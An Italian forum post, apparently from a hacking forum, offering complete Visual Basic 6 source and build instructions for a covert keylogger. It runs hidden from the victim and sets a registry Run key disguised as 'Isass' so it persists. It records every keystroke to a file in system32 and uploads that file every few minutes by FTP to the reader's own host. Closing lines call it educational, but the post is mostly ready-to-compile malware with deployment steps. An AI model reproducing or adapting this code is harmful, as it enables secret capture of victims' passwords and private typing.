Remote FTP KeyLogger (RFK) By FF
Indice
• Descrizione del prodotto
• Spiegazione del funzionamento
• Source + Guida alla creazione
Descrizione del prodotto
Il Remote FTP KeyLogger (RFK) V1 By FF è un KeyLogger di un'usabilità di estrema facilità che permette l'apprendimento di importanti nozioni di VB6.
Spiegazione del funzionamento
Il programma al momento dell'apertura viene eseguito anonimamente senza mostrarsi all'ignara vittima che procede la sua avventura informatica tranquillamente, senza sapere che nel suo pc adesso c'e' un bel KeyLogger pronto a registrare tutte le pulsazioni della sua povera tastiera. I log saranno salvati come "C:\WINDOWS\system32\keylog.txt", ma ovviamente potrete cambiare facilmente directory e nome del file. Ogni 5 minuti il file keylog.txt verrà uploadato sul vostro host e voi potrete comodamente leggere il report frutto di tanto lavoro.
Source + Guida alla creazione
Source (commentati passo per passo)
Codice:
Private Sub Form_Load()
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\nomekeylogger.exe"
Dim Ritardo As Long 'dichiarazione variabile ritardo
Dim testo As String 'dichiarazione variabile testo
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, Ritardo, 0 'settando la variabile ritardo
Timer1.Interval = Ritardo + 150 'imposto un ritardo minimo per captare i tasti, altrimenti potrebbe essere simulata la pressione ripetuta di un tasto
End Sub
Private Sub testo_Change() 'quando il textbox cambia...
Open "C:\WINDOWS\system32\keylog.txt" For Output As #1 'creo un file e ci scrivo tutto il testo digitato
Print #1, "Remote FTP KeyLogger v1 By FireFox - Testo digitato: " & testo.Text & ", "
Close #1
End Sub
Private Sub Timer1_Timer() 'il timer1 capta tutto ciò che viene scritto ogni tot secondi
If GetAsyncKeyState(vbKeyA) Then
testo = testo + "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
testo = testo + "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
testo = testo + "c"
ElseIf GetAsyncKeyState(vbKeyD) Then
testo = testo + "d"
ElseIf GetAsyncKeyState(vbKeyE) Then
testo = testo + "e"
ElseIf GetAsyncKeyState(vbKeyF) Then
testo = testo + "f"
ElseIf GetAsyncKeyState(vbKeyG) Then
testo = testo + "g"
ElseIf GetAsyncKeyState(vbKeyH) Then
testo = testo + "h"
ElseIf GetAsyncKeyState(vbKeyI) Then
testo = testo + "i"
ElseIf GetAsyncKeyState(vbKeyJ) Then
testo = testo + "j"
ElseIf GetAsyncKeyState(vbKeyK) Then
testo = testo + "k"
ElseIf GetAsyncKeyState(vbKeyL) Then
testo = testo + "l"
ElseIf GetAsyncKeyState(vbKeyM) Then
testo = testo + "m"
ElseIf GetAsyncKeyState(vbKeyN) Then
testo = testo + "n"
ElseIf GetAsyncKeyState(vbKeyO) Then
testo = testo + "o"
ElseIf GetAsyncKeyState(vbKeyP) Then
testo = testo + "p"
ElseIf GetAsyncKeyState(vbKeyQ) Then
testo = testo + "q"
ElseIf GetAsyncKeyState(vbKeyR) Then
testo = testo + "r"
ElseIf GetAsyncKeyState(vbKeyS) Then
testo = testo + "s"
ElseIf GetAsyncKeyState(vbKeyT) Then
testo = testo + "t"
ElseIf GetAsyncKeyState(vbKeyU) Then
testo = testo + "u"
ElseIf GetAsyncKeyState(vbKeyV) Then
testo = testo + "v"
ElseIf GetAsyncKeyState(vbKeyW) Then
testo = testo + "w"
ElseIf GetAsyncKeyState(vbKeyX) Then
testo = testo + "x"
ElseIf GetAsyncKeyState(vbKeyY) Then
testo = testo + "y"
ElseIf GetAsyncKeyState(vbKeyZ) Then
testo = testo + "z"
ElseIf GetAsyncKeyState(vbKey0) Then
testo = testo + "0"
ElseIf GetAsyncKeyState(vbKey1) Then
testo = testo + "1"
ElseIf GetAsyncKeyState(vbKey2) Then
testo = testo + "2"
ElseIf GetAsyncKeyState(vbKey3) Then
testo = testo + "3"
ElseIf GetAsyncKeyState(vbKey4) Then
testo = testo + "4"
ElseIf GetAsyncKeyState(vbKey5) Then
testo = testo + "5"
ElseIf GetAsyncKeyState(vbKey6) Then
testo = testo + "6"
ElseIf GetAsyncKeyState(vbKey7) Then
testo = testo + "7"
ElseIf GetAsyncKeyState(vbKey8) Then
testo = testo + "8"
ElseIf GetAsyncKeyState(vbKey9) Then
testo = testo + "9"
ElseIf GetAsyncKeyState(vbKeyEscape) Then
testo = testo + "<Esc>"
ElseIf GetAsyncKeyState(vbKeySpace) Then
testo = testo + "<Space>"
ElseIf GetAsyncKeyState(vbKeyBack) Then
testo = testo + "<BackSpace>"
ElseIf GetAsyncKeyState(vbKeyDelete) Then
testo = testo + "<Canc>"
ElseIf GetAsyncKeyState(vbKeyDown) Then
testo = testo + "<Freccia Giù>"
ElseIf GetAsyncKeyState(vbKeyShift) Then
testo = testo + "<Shift>"
ElseIf GetAsyncKeyState(vbKeyTab) Then
testo = testo + "<Tab>"
ElseIf GetAsyncKeyState(vbKeyUp) Then
testo = testo + "<Freccia Sù>"
ElseIf GetAsyncKeyState(vbKeyRight) Then
testo = testo + "<Freccia Destra>"
ElseIf GetAsyncKeyState(vbKeyLeft) Then
testo = testo + "<Freccia Sinistra>"
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
testo = testo + "<Pagina Sopra>"
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
testo = testo + "<Pagina Sotto>"
ElseIf GetAsyncKeyState(vbKeyF1) Then
testo = testo + "<F1>"
ElseIf GetAsyncKeyState(vbKeyF2) Then
testo = testo + "<F2>"
ElseIf GetAsyncKeyState(vbKeyF3) Then
testo = testo + "<F3>"
ElseIf GetAsyncKeyState(vbKeyF4) Then
testo = testo + "<F4>"
ElseIf GetAsyncKeyState(vbKeyF5) Then
testo = testo + "<F5>"
ElseIf GetAsyncKeyState(vbKeyF6) Then
testo = testo + "<F6>"
ElseIf GetAsyncKeyState(vbKeyF7) Then
testo = testo + "<F7>"
ElseIf GetAsyncKeyState(vbKeyF8) Then
testo = testo + "<F8>"
ElseIf GetAsyncKeyState(vbKeyF9) Then
testo = testo + "<F9>"
ElseIf GetAsyncKeyState(vbKeyF10) Then
testo = testo + "<F10>"
ElseIf GetAsyncKeyState(vbKeyF11) Then
testo = testo + "<F11>"
ElseIf GetAsyncKeyState(vbKeyF12) Then
testo = testo + "<F12>"
ElseIf GetAsyncKeyState(vbKeF13) Then
testo = testo + "<F13>"
ElseIf GetAsyncKeyState(vbKeyEnd) Then
testo = testo + "<FINE>"
End If
End Sub
Private Sub Timer2_Timer() 'ciclo per evitare connessioni molteplici al ftp
Timer3.Enabled = True
Timer2.Enabled = False
End Sub
Private Sub Timer3_Timer() 'vedi commento timer2
Timer4.Enabled = True
Timer3.Enabled = False
End Sub
Private Sub Timer4_Timer() 'vedi commento timer2
Timer5.Enabled = True
Timer4.Enabled = False
End Sub
Private Sub Timer5_Timer() 'vedi commento timer2
Timer6.Enabled = True
Timer5.Enabled = False
End Sub
Private Sub Timer6_Timer() 'vedi commento timer2 + upload file
Dim nomefile As String 'dichiarazione nomefile, ossia il nome del file quando verrà uploadato sul nostro ftp
Dim ftpwebsite As String 'dichiarazione ftpwebsite, ossia l'indirizzo ftp del nostro sito
account = "firefox" 'nome nostro account hosting
pswd = "123" 'password account hosting
ftpwebsite = "ftp://mywebsite.altervista.org" 'indirizzo ftp nostro host
Inet1.URL = ftpwebsite 'settaggio indirizzo ftp
Inet1.UserName = account 'settaggio account
Inet1.Password = pswd 'settaggio password
nomefile = "log.txt" 'sostituire log.txt con il nome che vorrete dare al file uploadato sul vostro host
Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\keylog.txt " & nomefile 'sostituire c:\windows\system32\keylog.txt con l'indirizzo del file che dovete prelevare dal pc della vittima
Do While Inet1.StillExecuting = True 'looooop ti amo xD
DoEvents
Loop
Timer6.Enabled = False
Timer2.Enabled = True
End SubCodice del Modulo
Codice:
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SystemParamsLong Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long
Const SPI_GETKEYBOARDSPEED = 10Guida alla creazione
1. Aprire VB6
2. Scegliere un nuovo progetto di tipo Standard EXE
3. Creare un 6 Timer e un Textbox, al Timer1 scrivete nella proprietà "Interval" il numero 0. Nei Timer2, 3, 4, 5, 6 mettete nella proprietà "Interval" il numero 60000 (sarebbe un minuto)
4. Date il nome "testo" senza virgolette al textbox
5. Fate Project > Components > Spuntate Microsoft Internet Transfer Controls e infine cliccate su Applica e successivamente su OK
6. Cliccate due volte sul form, vi si aprirà la finestra con tutti i codici, cancellate tutto ciò che c'e' scritto e incollate il codice del mio KeyLogger.
7. Modificate i 4 campi evidenziati in blu come volete:
1)
Codice:
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\nomekeylogger.exe"Sostituite nomekeylogger.exe con il nome del file.
2)
Codice:
"C:\WINDOWS\system32\keylog.txt"Modificatelo con la directory di dove si salveranno i log del Key, questa directory deve essere corrispondente all'altra "C:\WINDOWS\system32\keylog.txt" che si trova in prossimità del codice PUT.
3)
Codice:
account = "firefox" 'nome nostro account hosting
pswd = "123" 'password account hosting
ftpwebsite = "ftp://mywebsite.altervista.org" 'indirizzo ftp nostro hostModificate i campi tra virgolette con i vostri dati come scritto nei commenti*
* i commenti sono tutto ciò che è preceduto dall'apostrofo
4)
Codice:
nomefile = "log.txt"Modificate il nome log.txt tra virgolette con il nome che vorreste che avrà il file quando sarà uploadato sul vostro host.
8. Create un nuovo Modulo (Project > Add Module) e incollate il codice del Modulo.
9. Truccate al meglio il vostro programmino, o semplicemente settate la proprietà "Visible" del Form1 su False.
10. Salvare il progetto e compilare il file eseguibile.
11. Spedire e lamerare? NO. Studiare il codice, comprenderlo, ed essere soddisfatti di ciò? SI!
Cronologia implementazioni Release
# Implementata la creazione delle chiavi di registro necessarie per far avviare il keylogger all'avvio.
_________________
SIETE CORTESEMENTE PREGARE DI SEGNALARE OGNI EVENTUALE BUG AL CREATORE DEL KEYLOGGER, FIREFOX, IN MODO DA TENTARE DI FIXARLI. SONO BEN ACCETTI SUGGERIMENTI E NUOVE IDEE PER INCREMENTARE LA FUNZIONALITA' DEL PRODOTTO.
_________________
LO SCOPO DI QUESTA GUIDA E' PURAMENTE INFORMATIVO, NE' IO, NE' LO STAFF DELLO SCIAX2 FORUM SI PRENDE LA RESPONSABILITA' DELLO SCORRETTO UTILIZZO DEL MATERIALE DA ME PRODOTTO E FORNITOVI.